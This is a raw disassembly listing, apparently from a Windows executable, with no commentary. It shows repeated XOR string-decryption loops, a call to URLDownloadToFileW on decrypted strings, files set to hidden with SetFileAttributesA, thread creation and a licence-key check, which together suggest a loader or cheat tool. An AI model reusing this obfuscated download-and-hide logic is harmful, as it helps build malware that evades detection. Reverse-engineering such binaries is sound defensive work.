nop
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x20
jl 0x140072870
mov edx, 2
lea rcx, [rbp - 0x20]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
call fcn.1400640e0
mov byte [0x140126f99], 1
lea rcx, [rbp + 0xa0]
call fcn.14007a0e0
mov byte [0x140126fc6], 1
mov rcx, qword [0x140126fe8]
call fcn.14000f6d0
mov rax, qword [0x140126fa0]
mov rcx, qword [rax + 0x3f08]
movss xmm6, dword [rcx + 0x28]
mov rdx, r14
cmp qword [0x140158350], 0xf
cmova rdx, qword [0x140158338]
movss dword [rsp + 0x20], xmm8
xor r9d, r9d
xor r8d, r8d
lea rcx, [rbp + 0x3b8]
call fcn.14000a1b0
subss xmm6, dword [rax]
divss xmm6, dword [0x1400dfbc8]
movss dword [rbp + 0x260], xmm6
mov dword [rbp + 0x264], 0x42a00000
lea rcx, [rbp + 0x260]
call fcn.140012610
mov rcx, r14
cmp qword [0x140158350], 0xf
cmova rcx, qword [0x140158338]
call fcn.14002fa40
mov byte [0x140126fc0], 1
call fcn.1400437c0
nop
lea rcx, [rbp + 0x500]
call fcn.1400785f0
lea rcx, [rbp + 0x500]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
jmp 0x140072a9d
mov rcx, qword [0x140126fe8]
call fcn.14000f6d0
mov rdx, r14
mov rax, qword [0x140126fa0]
movss dword [rsp + 0x20], xmm8
mov rcx, qword [rax + 0x3f08]
movss xmm6, dword [rcx + 0x28]
cmp byte [reloc.WS2_32.dll_accept], 0
jne 0x140072a08
cmp qword [0x140158350], 0xf
cmova rdx, qword [0x140158338]
xor r9d, r9d
xor r8d, r8d
lea rcx, [rbp + 0x3c0]
call fcn.14000a1b0
subss xmm6, dword [rax]
cvtps2pd xmm0, xmm6
divsd xmm0, xmm12
cvtpd2ps xmm0, xmm0
movss dword [rbp + 0x268], xmm0
mov dword [rbp + 0x26c], 0x42a00000
lea rcx, [rbp + 0x268]
jmp 0x140072a53
cmp qword [0x140158350], 0xf
cmova rdx, qword [0x140158338]
xor r9d, r9d
xor r8d, r8d
lea rcx, [rbp + 0x3c8]
call fcn.14000a1b0
subss xmm6, dword [rax]
cvtps2pd xmm0, xmm6
divsd xmm0, xmm12
cvtpd2ps xmm0, xmm0
movss dword [rbp + 0x270], xmm0
mov dword [rbp + 0x274], 0x42f00000
lea rcx, [rbp + 0x270]
call fcn.140012610
mov rcx, r14
cmp qword [0x140158350], 0xf
cmova rcx, qword [0x140158338]
call fcn.14002fa40
cmp byte [0x140126fc7], 0
jne 0x140072a9d
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
xor r9d, r9d
lea r8, [0x140064330]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov byte [0x140126fc7], 1
call fcn.14000f750
movzx eax, byte [0x140126f9d]
cmp byte [0x140126fc5], 0
jne 0x14007548e
test al, al
jne 0x14007548e
cmp byte [reloc.WS2_32.dll_accept], al
jne 0x14007548e
cmp byte [0x140126f9b], al
jne 0x14007548e
cmp byte [0x140126f9c], al
jne 0x14007548e
movups xmm0, xmmword [str.q_thvf_MJ]
movups xmmword [rbp - 0x20], xmm0
movzx eax, word [0x1400dcfd0]
mov word [rbp - 0x10], ax
movzx eax, byte [0x1400dcfd2]
mov byte [rbp - 0xe], al
mov r8d, esi
cmp r15d, 2
jl 0x140072c4d
movdqa xmm5, xmmword [0x1400dfdd0]
movdqa xmm4, xmmword [0x1400e0080]
movdqa xmm6, xmmword [0x1400dfdf0]
movdqa xmm0, xmmword [0x1400dfef0]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp - 0x1c]
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140072b40
cmp r8d, 0x13
jge 0x140072c93
movsxd rax, r8d
lea r9, [rbp - 0x20]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x140072c60
mov dword [rsp + 0x20], r13d
mov r9d, 0x40
mov r8d, r13d
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0x450]
call fcn.1400786b0
nop
cmp qword [rbp + 0x4e0], 0
je 0x14007563f
lea rcx, [rbp + 0xa0]
call fcn.14004ce80
nop
mov rax, qword [rbp + 0x450]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x450]
add rcx, rax
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_char___cdecl_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const___ptr64]
movzx r8d, al
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0x450]
call fcn.140082360
lea rdx, str.Input_Your_Key_here
lea rcx, [rbp + 0xa0]
call fcn.14007f1a0
test al, al
je 0x140075636
lea rdx, [rbp + 0x10]
mov rcx, qword [0x140126fb0]
call qword [sym.imp.KERNEL32.dll_GetExitCodeThread]
test eax, eax
je 0x140075636
cmp dword [rbp + 0x10], 0x103
jne 0x140075636
cmp byte [0x140126fc1], 0
jne 0x1400732de
movups xmm0, xmmword [0x1400dcb50]
movups xmmword [rbp + 0x188], xmm0
movups xmm1, xmmword [0x1400dcb60]
movups xmmword [rbp + 0x198], xmm1
movups xmm0, xmmword [0x1400dcb70]
movups xmmword [rbp + 0x1a8], xmm0
movups xmm1, xmmword [0x1400dcb80]
movups xmmword [rbp + 0x1b8], xmm1
cmp r15d, 2
jl 0x140072eaf
movdqa xmm5, xmmword [0x1400dfdd0]
mov edx, esi
movdqa xmm4, xmmword [0x1400e0080]
movdqa xmm6, xmmword [0x1400dfdf0]
movdqa xmm7, xmmword [str.22222222]
lea rcx, [rbp + 0x188]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add edx, 8
lea rcx, [rcx + 0x10]
cmp edx, 0x20
jl 0x140072dc0
jmp 0x140072ef7
lea r9, [rbp + 0x188]
mov r8d, esi
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x39
movzx eax, r8w
sub ax, cx
add ax, 0x32
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x20
jl 0x140072ec0
movups xmm0, xmmword [0x1400dc9b0]
movups xmmword [rbp + 0x2c0], xmm0
movups xmm0, xmmword [0x1400dc9d0]
movups xmmword [rbp + 0x2e0], xmm0
movups xmm0, xmmword [0x1400dc9f0]
movups xmm1, xmmword [0x1400dc9c0]
movups xmmword [rbp + 0x300], xmm0
movups xmmword [rbp + 0x2d0], xmm1
movups xmm0, xmmword [0x1400dca10]
movups xmm1, xmmword [0x1400dc9e0]
movups xmmword [rbp + 0x320], xmm0
movups xmmword [rbp + 0x2f0], xmm1
movzx eax, word [0x1400dca28]
movsd xmm0, qword [str.DWKQ5]
movups xmm1, xmmword [0x1400dca00]
mov word [rbp + 0x338], ax
movsd qword [rbp + 0x330], xmm0
movups xmmword [rbp + 0x310], xmm1
mov r8d, esi
cmp r15d, 2
jl 0x1400730a7
movdqa xmm5, xmmword [0x1400dfdd0]
movdqa xmm4, xmmword [0x1400e0080]
movdqa xmm6, xmmword [0x1400dfdf0]
movdqa xmm7, xmmword [str.22222222]
lea rcx, [rbp + 0x2c0]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x38
jl 0x140072fb0
cmp r8d, 0x3d
jge 0x1400730f7
movsxd rax, r8d
lea r9, [rbp + 0x2c0]
lea r9, [r9 + rax*2]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x39
movzx eax, r8w
sub ax, cx
add ax, 0x32
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x3d
jl 0x1400730c0
mov qword [rsp + 0x20], rsi
xor r9d, r9d
lea r8, [rbp + 0x188]
lea rdx, [rbp + 0x2c0]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
movups xmm0, xmmword [0x1400dca48]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [0x1400dca58]
movups xmmword [rbp - 0x60], xmm1
psrldq xmm1, 0xf
movd eax, xmm1
test al, al
je 0x1400732c3
cmp r15d, 2
jl 0x140073287
movdqa xmm5, xmmword [0x1400dfdd0]
mov edx, esi
movdqa xmm4, xmmword [0x1400e0080]
movdqa xmm6, xmmword [0x1400dfdf0]
movdqa xmm0, xmmword [0x1400dfef0]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp - 0x6c]
mov r8d, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x20
jl 0x140073180
jmp 0x1400732c3
lea r9, [rbp - 0x70]
mov r8d, esi
nop
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x20
jl 0x140073290
mov edx, 2
lea rcx, [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
call fcn.1400640e0
mov byte [0x140126fc1], 1
lea rcx, [rbp + 0xa0]
call fcn.14007a0e0
cmp byte [0x140126fc4], 0
jne 0x1400744cf
mov byte [0x140126fc6], 1
mov dword [0x140123750], 0x179
mov dword [0x14012374c], 0x172
mov dword [rsp + 0x30], 6
mov dword [rsp + 0x28], 0x172
mov dword [rsp + 0x20], 0x179
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [0x140126fc8]
call qword [sym.imp.USER32.dll_SetWindowPos]
mov dword [rsp + 0x28], reloc.WS2_32.dll_sendto
mov dword [rsp + 0x20], reloc.WS2_32.dll_sendto
mov r9d, dword [0x14012374c]
mov r8d, dword [0x140123750]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.GDI32.dll_CreateRoundRectRgn]
mov r8d, r13d
mov rdx, rax
mov rcx, qword [0x140126fc8]
call qword [sym.imp.USER32.dll_SetWindowRgn]
mov rcx, qword [0x140126fa0]
mov rax, qword [rcx + 0x3f08]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3f08]
movss xmm7, dword [rax + 0x28]
movsd xmm0, qword [str.qcX_Er_I_IH]
movsd qword [rbp + 0x11c], xmm0
mov eax, dword [0x1400dcc08]
mov dword [rbp + 0x124], eax
cmp byte [0x1400dcc0b], 0
je 0x140073523
mov r8d, esi
cmp r15d, 2
jl 0x1400734de
movdqa xmm4, xmmword [0x1400e0080]
movdqa xmm2, xmmword [0x1400dfdd0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400dfdf0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
mov eax, dword [0x1400dfef0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.qcX_Er_I_IH]
xorps xmm2, xmm0
movd dword [rbp + 0x11c], xmm2
movdqa xmm3, xmmword [0x1400dfde0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400dfdf0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x120]
xorps xmm2, xmm1
movd dword [rbp + 0x120], xmm2
mov r8d, r12d
movsxd rax, r8d
lea r9, [rbp + 0x11c]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x1400734f0
movss dword [rsp + 0x20], xmm8
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x11c]
lea rcx, [rbp + 0x3d0]
call fcn.14000a1b0
movss xmm6, dword [rax]
lea rcx, [0x1400db53c]
call fcn.14002fa40
subss xmm7, xmm6
mulss xmm7, xmm9
movaps xmm0, xmm7
call fcn.140012670
movsd xmm0, qword [str.qcX_Er_I_IH]
movsd qword [rbp + 0x14], xmm0
mov eax, dword [0x1400dcc08]
mov dword [rbp + 0x1c], eax
cmp byte [0x1400dcc0b], 0
je 0x1400736e3
mov r8d, esi
cmp r15d, 2
jl 0x140073698
movdqa xmm4, xmmword [0x1400e0080]
movdqa xmm2, xmmword [0x1400dfdd0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400dfdf0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
mov eax, dword [0x1400dfef0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.qcX_Er_I_IH]
xorps xmm2, xmm0
movd dword [rbp + 0x14], xmm2
movdqa xmm3, xmmword [0x1400dfde0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400dfdf0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x18]
xorps xmm2, xmm1
movd dword [rbp + 0x18], xmm2
mov r8d, r12d
movsxd rax, r8d
lea r9, [rbp + 0x14]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x1400736b0
lea rcx, [rbp + 0x14]
call fcn.14002fa40
call fcn.140031f70
movzx eax, word [0x1400dd048]
mov word [rbp + 0x978], ax
cmp byte [0x1400dd049], 0
je 0x140073716
mov byte [rbp + 0x978], reloc.WLDAP32.dll_Ordinal_32
xor byte [rbp + 0x979], 0x33
lea rcx, [rbp + 0x978]
call fcn.14002fa40
cmp byte [0x140126fc4], 0
jne 0x1400744cf
mov byte [0x140126fc6], 1
cmp byte [0x140126f9a], 0
jne 0x14007418c
mov dword [rbp + 0x278], 0x41880000
mov dword [rbp + 0x27c], 0x42440000
lea rcx, [rbp + 0x278]
call fcn.140012610
lea rax, [rbp + 0xa0]
mov qword [rbp + 0x970], rax
lea rdx, [0x140124b70]
lea rcx, [rbp + 0xa0]
call fcn.14007a1d0
mov rbx, rax
movsd xmm0, qword [str.pjdted]
movsd qword [rbp + 0x158], xmm0
mov ecx, dword [0x1400dde08]
mov dword [rbp + 0x160], ecx
movzx ecx, word [0x1400dde0c]
mov word [rbp + 0x164], cx
cmp byte [0x1400dde0d], 0
je 0x140073923
mov r8d, esi
cmp r15d, 2
jl 0x1400738d8
movdqa xmm4, xmmword [0x1400e0080]
movdqa xmm2, xmmword [0x1400dfdd0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400dfdf0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
mov eax, dword [0x1400dfef0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.pjdted]
xorps xmm2, xmm0
movd dword [rbp + 0x158], xmm2
movdqa xmm3, xmmword [0x1400dfde0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400dfdf0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x15c]
xorps xmm2, xmm1
movd dword [rbp + 0x15c], xmm2
mov r8d, r12d
movsxd rax, r8d
lea r9, [rbp + 0x158]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x1400738f0
lea rdx, [rbp + 0x158]
lea rcx, [rbp - 0x70]
call fcn.14004cfb0
nop
mov r9, rbx
xor r8d, r8d
lea edx, [r8 + 3]
mov rcx, rax
call fcn.140067b00
test al, al
je 0x14007395b
mov dword [reloc.WS2_32.dll_closesocket], 3
mov byte [0x140126fc6], 1
mov dword [rbp + 0x280], 0x41880000
mov dword [rbp + 0x284], 0x42ea0000
lea rcx, [rbp + 0x280]
call fcn.140012610
movsd xmm0, qword [0x1400dc978]
movsd qword [rbp - 0x3c], xmm0
mov eax, dword [str.hyprad8]
mov dword [rbp - 0x34], eax
cmp byte [0x1400dc983], 0
je 0x140073af3
mov r8d, esi
cmp r15d, 2
jl 0x140073aaf
movdqa xmm4, xmmword [0x1400e0080]
movdqa xmm2, xmmword [0x1400dfdd0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400dfdf0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
mov eax, dword [0x1400dfef0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x1400dc978]
xorps xmm2, xmm0
movd dword [rbp - 0x3c], xmm2
movdqa xmm3, xmmword [0x1400dfde0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400dfdf0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x38]
xorps xmm2, xmm1
movd dword [rbp - 0x38], xmm2
mov r8d, r12d
movsxd rax, r8d
lea r9, [rbp - 0x3c]
add r9, rax
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x140073ac0
lea rdx, [rbp - 0x3c]
lea rcx, [0x140124cb0]
call fcn.14007f1a0
lea rdx, [0x140124b70]
test al, al
je 0x140073cf3
lea rax, [rbp + 0xa0]
mov qword [rbp + 0x970], rax
lea rcx, [rbp + 0xa0]
call fcn.14007a1d0
mov rbx, rax
movups xmm0, xmmword [0x1400dd5c8]
movups xmmword [rbp - 0x70], xmm0
movzx ecx, word [0x1400dd5d8]
mov word [rbp - 0x60], cx
cmp byte [0x1400dd5d9], 0
je 0x140073ce3
mov r8d, esi
cmp r15d, 2
jl 0x140073c9d
movdqa xmm5, xmmword [0x1400dfdd0]
movdqa xmm4, xmmword [0x1400e0080]
movdqa xmm6, xmmword [0x1400dfdf0]
movdqa xmm0, xmmword [0x1400dfef0]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp - 0x6c]
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
